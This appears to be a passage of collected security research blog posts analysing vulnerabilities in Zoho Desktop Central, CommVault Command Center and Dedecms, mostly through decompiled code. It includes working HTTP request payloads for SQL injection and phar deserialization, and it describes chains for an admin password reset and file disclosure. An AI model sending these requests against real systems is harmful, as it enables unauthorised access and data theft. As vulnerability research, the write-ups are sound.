/* 400 */         long urlTime = getTimeFromUrl(request.getRequestURI());
/* 401 */         long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME")); // 6
/* 402 */         ((Map)state.get("_REQS")).put("_ISBROWSERREFRESH", String.valueOf((urlTime != reqTime && !StateAPI.isSubRequest(request)))); // 7
/*     */       }

In order to survive StateParserGenerator.processState, the attacker will need to populate the TreeSet at [2] with a STATE_COOKIE at [3] so that they don’t crash and burn at [4]. Also, the attacker needs to use StateParserGenerator.processState method at [5] to craft a special state map containing values to survive [6] and [7]. There is no way to return null from StateParserGenerator.parseState, I already thought of that!

Once the attacker can proceed past StateParserGenerator.processState, they can set forwardPath at [8] with the provided URI and subsequently set path at [9]

/*     */   private String getForwardPath(HttpServletRequest request) {
/*  88 */     String path = request.getContextPath() + "/STATE_ID/";
/*  89 */     String forwardPath = request.getRequestURI();
/*  90 */     if (!forwardPath.startsWith(path))
/*     */     {
/*  92 */       return forwardPath;
/*     */     }
/*  94 */     int index = forwardPath.indexOf('/', path.length());
/*  95 */     if (WebClientUtil.isRestful(request)) {
/*     */       
/*  97 */       forwardPath = forwardPath.substring(path.length() - 1);
/*     */ 
/*     */     
/*     */     }
/* 101 */     else if (index > 0) {
/*     */       
/* 103 */       forwardPath = forwardPath.substring(index);
/*     */     } 
/*     */ 
/*     */     
/* 107 */     return forwardPath;
/*     */   }

Now, the code at [10] and [11] of the StateFilter.doFilter method forwards the incoming request and bypasses any further filters or interceptors within the filter chain. The fact that the forward happens inside of a filter is very powerful, it means that any HTTP verb can be used to reach dangerous API.

AgentLogUploadServlet Directory Traversal Remote Code Execution Vulnerability

This particular bug was patched in earlier versions before the StateFilter arbitrary forward was patched. As always, we start in the web.xml file:

<servlet>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <url-pattern>/agentLogUploader</url-pattern>
</servlet-mapping>

As the threat actors discovered, it was possible to reach this servlet using the StateFilter arbitrary forward:

/*     */   public void doPost(HttpServletRequest request, HttpServletResponse response) {
/*  35 */     reader = null;
/*  36 */     PrintWriter printWriter = null;
/*     */     try {
/*  38 */       computerName = request.getParameter("computerName"); // 1
/*  39 */       String domName = request.getParameter("domainName");
/*  40 */       String customerIdStr = request.getParameter("customerId");
/*  41 */       String resourceidStr = request.getParameter("resourceid");
/*  42 */       String logType = request.getParameter("logType");
/*  43 */       String fileName = request.getParameter("filename"); // 2
/*     */       //... 
/*  66 */       if (managedResourceID != null || branchId != null) {
/*     */         //... 
/*  73 */         String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName; // 3  
/*     */         //... 
/*  84 */         fileName = fileName.toLowerCase();
/*     */         
/*  86 */         if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) { // 4
/*  87 */           this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
/*  88 */           response.sendError(403, "Request Refused");
/*     */           
/*     */           return;
/*     */         } 
/*  92 */         String absoluteFileName = localDirToStore + File.separator + fileName; // 5
/*     */         
/*  94 */         this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName });
/*     */ 
/*     */         
/*  97 */         in = null;
/*  98 */         fout = null;
/*     */         try {
/* 100 */           in = request.getInputStream();
/* 101 */           fout = new FileOutputStream(absoluteFileName);
/*     */           
/* 103 */           byte[] bytes = new byte[10000]; int i;
/* 104 */           while ((i = in.read(bytes)) != -1) {
/* 105 */             fout.write(bytes, 0, i); // 6
/*     */           }
/* 107 */           fout.flush();
/* 108 */         } catch (Exception e1) {
/* 109 */           e1.printStackTrace();
/*     */         } finally {
/* 111 */           if (fout != null) {
/* 112 */             fout.close();
/*     */           }
/* 114 */           if (in != null) {
/* 115 */             in.close();
/*     */           }
/*     */         } 

At [1] and [2] the code gets the computerName and filename parameters from the incoming request and then at [3] the code builds a path using the controlled computerName. Then at [4] the code calls FileUploadUtil.hasVulnerabilityInFileName using zip|7z|gz as a filter:

/*     */   public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
/* 227 */     if (isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt)) {
/* 228 */       return true;
/*     */     }
/* 230 */     return false;
/*     */   }

The code checks that the file extension is either zip, 7z or gz with a check for a traversal but there is no check for a traversal in the localDirToStore at [5] which is later used for a controlled write at [6].

Patches

Zoho patched the arbitrary forward by adding the URI pattern to a secured context, meaning that authentication is required which was verified on version 10.1.2137.3

<security-constraint>
 <web-resource-collection>
     <web-resource-name>Secured Core Context</web-resource-name>
     ...
+     <url-pattern>/STATE_ID/*</url-pattern>
 </web-resource-collection>

Zoho also patched the directory traversal in AgentLogUploadServlet somewhere between May - November 2021. The additional check in the doPost protecting computerName which was verified on version 10.1.2137.2:

/*  67 */       if ((domName != null && FileUploadUtil.hasVulnerabilityInFileName(domName)) || (computerName != null && FileUploadUtil.hasVulnerabilityInFileName(computerName)) || (customerIdStr != null && FileUploadUtil.hasVulnerabilityInFileName(customerIdStr)) || (branchId != null && FileUploadUtil.hasVulnerabilityInFileName(branchId)) || 
/*  68 */         !SoMUtil.getInstance().isValidDomainName(domName) || !SoMUtil.getInstance().isValidComputerName(computerName) || !branchId.matches(regex) || !resourceidStr.matches(regex) || !customerIdStr.matches(regex)) {
/*     */         
/*  70 */         this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0} for  computer  {1}  under domain {2} and branch office {4} of customer id {3} ", new Object[] { fileName, computerName, domName, customerIdStr, branchId });
/*  71 */         response.sendError(403, "Request Refused");
/*     */         
/*     */         return;
/*     */       }

Exploitation

At the time of discovery, I couldn’t leverage this bug and after reading the FBI report, it becomes evident that the threat actors wrote a zip file into the C:\Program Files\DesktopCentral_Server\lib directory and either waited for the server to restart or forced a restart.

In fact, it can be any extension and it clearly not mentioned in the Tomcat documentation! This inturn loaded a malicious jar file (hidden as a zip file) which overwrote core classes. When those classes were loaded from the server/process upon a restart, then their code would execute.

The threat actors also used the /fos/statuscheck endpoint which safety returned the string OK if the server was up.

/*    */   private void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*    */     try {
/* 33 */       String slaveId = ServletUtil.Param.optionalValue(request, "slaveId");
/* 34 */       if (MonitorPool.isEnabled())
/*    */       {
/* 36 */         if (slaveId != null)
/*    */         {
/* 38 */           MonitorPool.getInst().getOrCreate(slaveId).updateLastAccessTime();
/*    */         }
/*    */       }
/* 41 */       ServletUtil.Write.text(response, "ok");
/*    */     }
/*    */   //...
/*    */   }
/*    */ }

With that, I decided to look into the code to find locations to where the process and/or server could be restarted with an API that was reachable from the StateFilter arbitrary forward but I was unsuccessful in this attempt.

Attack chain limitations

There are 4 main limitations with the attack chain used by the threat actors:

The StateFilter arbitrary forward is only a partial authentication bypass. It’s possible to reach the servlet endpoints, but not possible to reach any of the REST api or struts ActionForward classes. This is a significate weakness in the attack.
The AgentLogUploadServlet directory traversal only gave an attacker the ability to write a 7z, zip, or gz file.
The AgentLogUploadServlet directory traversal was patched in an earlier version than the StateFilter arbitrary forward, meaning there are versions where the chain was broken
The attack chain required the server to be restarted which, AFAIK was not possible to be directly controlled by the threat actor.

Bypassing all limitations

I finally managed to find a better way to (ab)use the StateFilter arbitrary forward by reaching the ChangeAmazonPasswordServlet. At first I ignored this servlet because I thought, what’s the point of changing an Amazon password anyway.

/*    */ public class ChangeAmazonPasswordServlet
/*    */   extends HttpServlet
/*    */ {
/* 23 */   private Logger logger = Logger.getLogger(ChangeAmazonPasswordServlet.class.getName());
/*    */ 
/*    */ 
/*    */   
/*    */   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 28 */     String loginName = request.getParameter("loginName");
/*    */     
/*    */     try {
/* 31 */       String productCode = ProductUrlLoader.getInstance().getValue("productcode");
/*    */       
/* 33 */       String newUserPassword = request.getParameter("newUserPassword");
/*    */       
/* 35 */       SYMClientUtil.changeDefaultAwsPassword(loginName, newUserPassword); // 1

At [1] the code calls SYMClientUtil.changeDefaultAwsPassword using the attacker supplied loginName and newUserPassword:

/*     */   public static void changeDefaultAwsPassword(String loginName, String newPasswd) throws Exception {
/*     */     try {
/* 139 */       String serviceName = getServiceName(loginName);
/*     */       
/* 141 */       DMUserHandler.addOrUpdateAPIKeyForLoginId(DMUserHandler.getLoginIdForUser(loginName));
/*     */       
/* 143 */       AuthUtil.changePassword(loginName, serviceName, newPasswd); // 2
/* 144 */       SyMUtil.updateSyMParameter("IS_PASSWORD_CHANGED", "true");
/* 145 */       SyMUtil.updateServerParameter("IS_AMAZON_DEFAULT_PASSWORD_CHANGED", "true");
/*     */     }

When I saw [2] I got very suspicious because I saw AuthUtil.changePassword. When I was auditing previously, I remember seeing that function used for other password reset functionality so I decided to do a quick xref on it:

Could this code change the admin password from an unauthenticated context? Yes!

Now that we have changed the password we can login and access any agents within Desktop Central to gain remote code execution against them:

This exploit chain impacts all versions up to 10.1.2137.2. It’s still possible to reset the admin password and/or trigger the StateFilter arbitrary forward using a guest account ~~in the latest version at the time of writing~~. I have a habit of not reporting vulnerabilities to Zoho, oh no!

UPDATE: Zoho has released a fix for this issue and assigned CVE-2022-23863.

The only limitation to this attack is that changing the administrators password is pretty overt, and will likley reveal that a compromise took place.

Conclusion

Threat actors, up your game! If you are stuck on a bug, come back to it with a fresh mind even if its been years. As a professional engineer, you develop your skillset slowly and sometimes it’s important to check code that doesn’t seem relevant.

This is not the first time I have written about arbitrary forward vulnerabilities that lead to authentication bypass and it’s likley that threat actors are reading this very blog. A big thanks goes to William Vu for listening to me live debug this application and allowing me to ask him many questions along the way.

References

Unlocking the Vault :: Unauthenticated Remote Code Execution against CommVault Command Center

Mon, 22 Nov 2021 14:00:00 +0000

When Justin Kennedy and Brandon Perry asked me if I was interested in performing a little audit together, I couldn’t resist. Although time was limited, I decided to jump on board because true hacking collaboration is a rare commoditity these days.

We decided to target the CommVault Command Center Interface and to quote CommVault:

The Command Center is a web-based user interface for administration tasks that provides default configuration values and streamlined procedures for routine data protection and recovery tasks. You can use the Command Center to set up your data protection environment, to identify content that you want to protect, and to initiate and monitor backups and restores.

This is an interesting target because:

It’s a product that incorporates several components (CommCell Console, Command Center, Web Console, CommServe Server, etc).
There was a serious lack of decent vulnerabilities in CommVault. The only recent bug I could dig up was CVE-2020-25780 which was a post authenticated directory traversal with a disclosure impact and no proof of concept.
There is a mix of technologies from C# to Java which made it quite attractive to audit.

After some time, we managed to chain 3 bugs (disclosed as two bugs - ZDI-21-1328 and ZDI-21-1331) to achieve unauthenticated remote code execution as SYSTEM against a target CommVault node.

CVAuthHttpModule OnEnter Partial Authentication Bypass

Inside of the CVInfoMgmtService.dll file the CVAuthHttpModule.OnEnter method is the authentication check for the CVSearchService web service:

private void OnEnter(object sender, EventArgs e)
{
    bool flag = true;
    this.reject = true;
    string empty = string.Empty;
    bool flag2 = true;
    this._token = "";
    this._sw = Stopwatch.StartNew();
    this._request = "";
    try
    {
        string[] array = CVAuthHttpModule.readHeader();
        string text = array[0]; // 1
        string text2 = array[1];
        string text3 = array[2];
        string text4 = array[3];
        bool flag3 = this.IsRestWebService(); // 2
        ...
        bool flag11 = !string.IsNullOrEmpty(text) && !flag3 && NonSecureOperations.canByPassCheck(text); // 3
        if (flag11)
        {
            flag = false;
            this.reject = false;
        ...

At [1] the text is coming from the cookie header and at [2] the code checks that the request is for the CVSearchService.svc service then we can see the NonSecureOperations.canByPassCheck at [3].

public static bool canByPassCheck(string messageName)
{
    string item = dmConf.encodePass(messageName); // 4
    return NonSecureOperations.list.Contains(item); // 5
}

The dmConf.encodePass call at [4]:

// DM2WebLib.dmConf
// Token: 0x060000E8 RID: 232 RVA: 0x00006C10 File Offset: 0x00004E10
public static string encodePass(string dataTobeEncoded)
{
	string text = string.Empty;
	bool flag = string.IsNullOrEmpty(dataTobeEncoded);
	string result;
	if (flag)
	{
		result = dataTobeEncoded;
	}
	else
	{
		try
		{
			byte[] inArray = new byte[dataTobeEncoded.Length];
			inArray = Encoding.UTF8.GetBytes(dataTobeEncoded);
			text = Convert.ToBase64String(inArray);
		}
		catch (Exception ex)
		{
			throw new Exception(string.Format("Error in base64Encode. Exception Message:[{0}], Data to be decoded:[{1}] ", ex.Message, dataTobeEncoded));
		}
		result = text;
	}
	return result;
}

…and the NonSecureOperations constructor at [5]:

static NonSecureOperations()
{
    NonSecureOperations.list = new ArrayList();
    NonSecureOperations.list.Add("TG9naW4uR2V0TG9nb25MaXN0");
    NonSecureOperations.list.Add("TG9naW4uTG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5n");
    NonSecureOperations.list.Add("TG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5ncw==");
    NonSecureOperations.list.Add("UmV0cmlldmVJdGVt");
    NonSecureOperations.list.Add("U2VhcmNoLkdldFBhbmVsQ29sdW1uQ29uZmln");
    NonSecureOperations.list.Add("RGF0YVNlcnZpY2UuUG9wdWxhdGVEYXRh");
    NonSecureOperations.list.Add("Z2V0T2VtSWQ=");
    NonSecureOperations.list.Add("TG9naW4uV2ViQ2xpZW50TG9naW4=");
    NonSecureOperations.list.Add("Z2V0R2xvYmFsUGFyYW0=");
}

Login.GetLogonList
Login.Login
CI.GetDMSetting
Login
CI.GetDMSettings
RetrieveItem
Search.GetPanelColumnConfig
DataService.PopulateData
getOemId
Login.WebClientLogin
getGlobalParam

This just encodes the cookie as base64 and checks it against a list of hardcoded strings. So I just set the first one as Login.GetLogonList which matches on TG9naW4uR2V0TG9nb25MaXN0. Now the this.reject is set to false and we can bypass the auth for this web service!

CVSearchSvc downLoadFile File Disclosure

As it turns out, there is a file disclosure vulnerability in the API for this service. Let’s check the CVSearchSvc class:

public byte[] downLoadFile(string path)
{
    DownLoad downLoad = new DownLoad();
    return downLoad.downLoadFile(path); // 4
}

At [4] the code calls com.commvault.biz.restore.DownLoad.downLoadFile with the attacker controlled path:

public byte[] downLoadFile(string path)
{
    bool flag = string.IsNullOrEmpty(path);
    byte[] result;
    if (flag)
    {
        result = null;
    }
    else
    {
        bool flag2 = !File.Exists(path);
        if (flag2)
        {
            result = null;
        }
        else
        {
            FileInfo fileInfo = new FileInfo(path);
            long length = fileInfo.Length;
            FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
            BinaryReader binaryReader = new BinaryReader(fileStream);
            byte[] array = binaryReader.ReadBytes((int)length);
            binaryReader.Close();
            fileStream.Close();
            result = array;
        }
    }
    return result;
}

Which opens the attacker supplied file path for reading and returns the contents of the file. This can be a binary file because the response is base64 encoded and returned to the attacker.

Exploitation

At this point we essentially had an unauthenticated file read vulnerability. How were we going to leverage this for remote code execution or an authentication bypass? It was a limited file read as we could only read files with the permissions of the network service account. Due to this, we couldn’t open files that already had an open file handle in another process. It was grim.

A few days later, Brandon came up with a clever exploitation strategy. When he was configuring and testing the email server, he noticed that when he tried to reset the password for the SystemCreatedAdmin account, it would throw an error into the c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log file:

3     05/13 17:00:37 3   ###  - Processing [POST] request : /user/Password/ForgotRequest : Headers :[Content-Type=application/x-www-form-urlencoded][Expect=100-continue][Host=127.0.0.1:81][Content-Length=50][locale=en_US][LookupNames=false][client-location=192.168.1.152][CVRequestRouted=true][MS-ASPNETCORE-TOKEN=cba64f3f-885a-4d1e-bcfe-cbda5c6e5e19][X-Original-Proto=http][trace-id=wse7e5af76c93c][X-Original-For=127.0.0.1:51285] : Parameters : (empty) : AdditionalInfo[ClientIP[192.168.1.152] ConsoleType[Unknown] Operation[CV.WebServer.Controllers.UserController.ForgotPasswordRequest (CVWebControllerClient)] isTokenSupplied?[False] Username[]]
3     05/13 17:00:38 3   ### SetTinyWebConsoleTinyUrl - Error sending reset password email with tinyURL : http://WIN-9BHJU583I26:80/webconsole/gtl.do?gid=sqmyEqVeOftkV
3     05/13 17:00:43 3   ### SendResetPasswordEmail - Reset password email set successfully to: 
3     05/13 17:00:43 3   ### Invoke - POST /user/Password/ForgotRequest : HTTP code 'OK'

This occured because the default god mode user SystemCreatedAdmin didn’t have an email account linked by design and so the developers thought it would be convenient to drop the password reset token into the log file. With our file disclosure vulnerability we could leak this log file and disclose the password reset token (sqmyEqVeOftkV in this case) so that we could reset the SystemCreatedAdmin password and gain access to the Command Center.

Once this was achieved, we found that we could execute workflows with, low and behold, a default workflow that allowed for a command to be executed as SYSTEM!

We have released a proof of concept for your defending pleasure.

Conclusion

These aren’t the only issues we discovered, but only the ones we had time to focus on and submit since they were the highest impact. Sure enough, KP Choubey also discovered ZDI-21-1332 when analyzing our bugs.

Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms

Thu, 30 Sep 2021 14:00:00 +0000

In this blog post, I’m going to share a technical review of Dedecms (or “Chasing a Dream” CMS as translated to English) including its attack surface and how it differs from other applications. Finally, I will finish off with a pre-authenticated remote code execution vulnerability impacting the v5.8.1 pre-release. This is an interesting piece of software because it dates back over 14 years since its initial release and PHP has changed a lot over the years.

An online search for “what is the biggest CMS in China” quickly reveals that multiple sources state that Dedecms is the most popular. However, these sources all but have one thing in common: they’re old.

So, I decided to do a crude search:

The product is very widely deployed and but the vulnerability detailed here impacts a small number of sites since it was introduced on the 11th of December 2020 and never made it into a release build.

Threat Modeling

Disclaimer: I have no experience in actual threat modeling. One of the first things I ask myself when auditing targets is: How is input accepted into the application? Well, it turns out the answer to that question for this target is in include/common.inc.php script:

function _RunMagicQuotes(&$svar)
{
    if (!@get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) {
                $svar[$_k] = _RunMagicQuotes($_v);
            }

        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

//...

if (!defined('DEDEREQUEST')) {
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2
                exit('Request var not allow!');
            }
        }
    }

    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v); // 1
            }

        }
    }
}

If we pay close attention here, we can see at [1] that the code re-enables register_globals which has been since removed in PHP 5.4.

register_globals has been a huge problem for applications in the past and enables a very rich attack surface which is one of the reasons why PHP has had such a bad reputation in the past. Also note here that they do not protect the $_SERVER or $_FILES super global arrays at [2].

This can lead to such risks as open redirect http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/ or phar deserialization in include/uploadsafe.inc.php at line [3]

foreach ($_FILES as $_key => $_value) {
    foreach ($keyarr as $k) {
        if (!isset($_FILES[$_key][$k])) {
            exit("DedeCMS Error: Request Error!");
        }
    }
    if (preg_match('#^(cfg_|GLOBALS)#', $_key)) {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key . '_name'} = $_FILES[$_key]['name'];  // 4
    ${$_key . '_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key . '_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#', '', $_FILES[$_key]['size']);

    if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) {
        foreach (${$_key . '_name'} as $key => $value) {
            if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) {
                if (!defined('DEDEADMIN')) {
                    exit('Not Admin Upload filetype not allow !');
                }
            }
        }
    } else {
        if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) {
            if (!defined('DEDEADMIN')) {
                exit('Not Admin Upload filetype not allow !');
            }
        }
    }

    if (empty(${$_key . '_size'})) {
        ${$_key . '_size'} = @filesize($$_key); // 3
    }

GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
Host: target

I didn’t report these bugs because they provided no impact (otherwise I would have called them vulnerabilities). The open URL redirection bug cannot further an attacker on its own and the phar deserialization bug cannot be triggered without a gadget chain.

The trained eye will spot something extra interesting though. At line [4] the code creates an attacker controlled variable using the _name string which will be unfiltered from _RunMagicQuotes. This means that an attacker with admin credentials can trigger an SQL injection in the sys_payment.php script by bypassing the _RunMagicQuotes function using a file upload:

For reference’s sake, we can see how the SQL injection manifests inside dede/sys_payment.php:

//配置支付接口
else if ($dopost == 'config') { // 5
    if ($pay_name == "" || $pay_desc == "" || $pay_fee == "") { // 6
        ShowMsg("您有未填写的项目！", "-1");
        exit();
    }
    $row = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$pid'");
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset(unserialize(utf82gb($row['config'])));
    } else if ($cfg_soft_lang == 'gb2312') {
        $config = unserialize($row['config']);
    }
    $payments = "'code' => '" . $row['code'] . "',";
    foreach ($config as $key => $v) {
        $config[$key]['value'] = ${$key};
        $payments .= "'" . $key . "' => '" . $config[$key]['value'] . "',";
    }
    $payments = substr($payments, 0, -1);
    $payment = "\$payment=array(" . $payments . ")";
    $configstr = "<" . "?php\r\n" . $payment . "\r\n?" . ">\r\n";
    if (!empty($payment)) {
        $m_file = DEDEDATA . "/payment/" . $row['code'] . ".php";
        $fp = fopen($m_file, "w") or die("写入文件 $safeconfigfile 失败，请检查权限！");
        fwrite($fp, $configstr);
        fclose($fp);
    }
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset($config, 'utf-8', 'gb2312');
        $config = serialize($config);
        $config = gb2utf8($config);
    } else {
        $config = serialize($config);
    }

    $query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7
    $dsql->ExecuteNoneQuery($query); // 8

At [5] and [6] there are some checks that $dopost is set to config and that $pay_name, $pay_desc and $pay_fee are set from the request. Later at [7] the code builds a raw SQL query using the attacker supplied $pay_name and finally at [8] what I thought was an SQL injection is triggered…

Defense in Depth

In the past Dedecms developers have been hit hard with SQL injection vulnerabilities (probably due to register_globals being enabled at the source code level). In the above example, we get a response from the server as Safe Alert: Request Error step 2 and of course our injection fails. Why is that? Look at the include/dedesqli.class.php to find out:

//SQL语句过滤程序，由80sec提供，这里作了适当的修改
function CheckSql($db_string, $querytype = 'select')
{

    // ...more checks...

    //老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些黑客使用它，所以检查它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }

    // ...more checks...

    //老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {
        $fail = true;
        $error = "sub select detect";
    }
    if (!empty($fail)) {
        fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  // 9
    } else {
        return $db_string;
    }

Now I don’t know who 80Sec is, but they seem serious. The CheckSql is called from Execute

    //执行一个带返回结果的SQL语句，如SELECT，SHOW等
    public function Execute($id = "me", $sql = '')
    {

        //...

        //SQL语句安全检查
        if ($this->safeCheck) {
            CheckSql($this->queryString);
        }

and SetQuery:

    public function SetQuery($sql)
    {
        $prefix = "#@__";
        $sql = trim($sql);
        if (substr($sql, -1) !== ";") {
            $sql .= ";";
        }
        $sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql);

        CheckSql($sql, $this->getSQLType($sql)); // 5.7前版本仅做了SELECT的过滤，对UPDATE、INSERT、DELETE等语句并未过滤。
         
        $this->queryString = $sql;
    }

But we can avoid this function by using another function that also calls mysqli_query such as GetTableFields:

    //获取特定表的信息
    public function GetTableFields($tbname, $id = "me")
    {
        global $dsqli;
        if (!$dsqli->isInit) {
            $this->Init($this->pconnect);
        }
        $prefix = "#@__";
        $tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname);
        $query = "SELECT * FROM {$tbname} LIMIT 0,1";
        $this->result[$id] = mysqli_query($this->linkID, $query);
    }

This is not, just any old sink though. This one doesn’t use quotes, so we don’t need to break out of a quoted string, which is required since our input will flow through the _RunMagicQuotes function. Usage of GetTableFields in a dangerous way can be found in the dede/sys_data_done.php script at line [10]:

if ($dopost == 'bak') {
    if (empty($tablearr)) {
        ShowMsg('你没选中任何表！', 'javascript:;');
        exit();
    }
    if (!is_dir($bkdir)) {
        MkdirAll($bkdir, $cfg_dir_purview);
        CloseFtp();
    }

    if (empty($nowtable)) {
        $nowtable = '';
    }
    if (empty($fsize)) {
        $fsize = 20480;
    }
    $fsizeb = $fsize * 1024;
    
    //第一页的操作
    if ($nowtable == '') {
        //...
    }
    //执行分页备份
    else {
        $j = 0;
        $fs = array();
        $bakStr = '';

        //分析表里的字段信息
        $dsql->GetTableFields($nowtable); // 10

GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: target
Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;

But of course, this requires administrator privileges, which is not interesting to us (without an elevation of privilege or authentication bypass).

Finding a pre-authenticated endpoint

If we try a little harder though, we can find some more interesting code in include/filter.inc.php in the slightly older version: DedeCMS-V5.7-UTF8-SP2.tar.gz.

$magic_quotes_gpc = ini_get('magic_quotes_gpc');
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr, $cfg_replacestr, $magic_quotes_gpc;
    if (is_array($svar)) {
        foreach ($svar as $_k => $_v) {
            $svar[$_k] = _FilterAll($fk, $_v);
        }
    } else {
        if ($cfg_notallowstr != '' && preg_match("#" . $cfg_notallowstr . "#i", $svar)) {
            ShowMsg(" $fk has not allow words!", '-1');
            exit();
        }
        if ($cfg_replacestr != '') {
            $svar = preg_replace('/' . $cfg_replacestr . '/i', "***", $svar);
        }
    }
    if (!$magic_quotes_gpc) {
        $svar = addslashes($svar);
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
    foreach ($$_request as $_k => $_v) {
        ${$_k} = _FilterAll($_k, $_v);
    }
}

Can you see what’s wrong here? The code sets $magic_quotes_gpc from the configuration. If it’s not set in the php.ini then addslashes is called. But we can fake that it’s set by using $magic_quotes_gpc in a request and re-writing that variable and avoiding the addslashes!

This code is used for submitting feedback which is performed by unauthenticated users. I decided to have a look and I found the following sink in /plus/bookfeedback.php:

else if($action=='send')
{
    //...
    //检查验证码
    if($cfg_feedback_ck=='Y')
    {
        $validate = isset($validate) ? strtolower(trim($validate)) : '';
        $svali = strtolower(trim(GetCkVdValue()));
        if($validate != $svali || $svali=='')
        {
            ResetVdValue();
            ShowMsg('验证码错误！','-1');
            exit();
        }
    }

    //...
    if($comtype == 'comments')
    {
        $arctitle = addslashes($arcRow['arctitle']);
        $arctitle = $arcRow['arctitle'];
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";  // 11
            $rs = $dsql->ExecuteNoneQuery($inquery); // 12
            if(!$rs)
            {
                echo $dsql->GetError();
                exit();
            }
        }
    }

At [11] we can see that the code builds up a query using attacker controlled input such as $catid and $bookname. It’s possible to land in this sink and bypass the addslashes to trigger an unauthenticated SQL injection:

POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1
Host: target
Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3;
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&msg=pwn

We have a session cookie set because it’s tied to the captcha code which is stored in an unauthentciated session:

I couldn’t bypass CheckSql (un)fortunately, but I could side step and leak some data from the database because I could use both the $catid and $bookname for the injection and then (ab)use a second order:

else if($action=='quote')
{
    $row = $dsql->GetOne("Select * from `#@__bookfeedback` where id ='$fid'");
    require_once(DEDEINC.'/dedetemplate.class.php');
    $dtp = new DedeTemplate();
    $dtp->LoadTemplate($cfg_basedir.$cfg_templets_dir.'/plus/bookfeedback_quote.htm');
    $dtp->Display();
    exit();
}

All I had to do was guess the $fid (primary key) and check that it matched by injected $msg of pwn and if it did, I knew that the result from the injection was revealed to me:

